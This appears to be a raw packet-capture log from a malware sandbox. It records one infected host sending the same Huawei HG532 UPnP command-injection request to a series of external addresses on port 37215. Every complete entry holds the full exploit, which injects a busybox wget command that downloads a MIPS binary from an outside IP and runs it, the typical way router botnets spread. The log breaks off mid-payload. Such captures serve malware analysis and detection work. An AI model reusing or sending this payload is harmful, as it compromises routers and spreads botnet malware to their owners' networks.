Jun 1, 2024 18:15:55.261955023 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.23	34410	197.138.203.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262015104 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.23	38672	41.144.238.83	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262105942 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.23	35928	156.189.243.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262142897 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.23	56490	197.89.180.120	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262187958 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.23	39182	41.101.17.223	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262262106 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.23	57030	197.210.56.52	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262353897 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.23	43784	197.161.107.182	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262753010 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.23	43862	197.162.38.43	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262800932 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.23	37250	41.230.149.194	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262860060 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.23	43420	197.247.117.7	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.262933016 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 